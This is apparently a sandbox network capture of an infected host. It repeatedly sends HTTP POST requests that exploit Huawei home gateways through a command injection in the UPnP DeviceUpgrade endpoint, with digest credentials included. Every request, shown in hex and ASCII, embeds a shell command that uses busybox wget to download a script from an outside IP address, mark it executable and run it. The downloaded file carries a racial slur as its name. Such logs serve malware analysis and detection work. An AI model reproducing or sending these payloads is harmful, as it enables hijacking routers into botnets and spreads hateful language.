Feb 19, 2024 18:35:50.289601088 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432693958 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462980986 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315473080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460707903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	36944	31.136.19.12	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.242177010 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289629936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432802916 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462991953 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
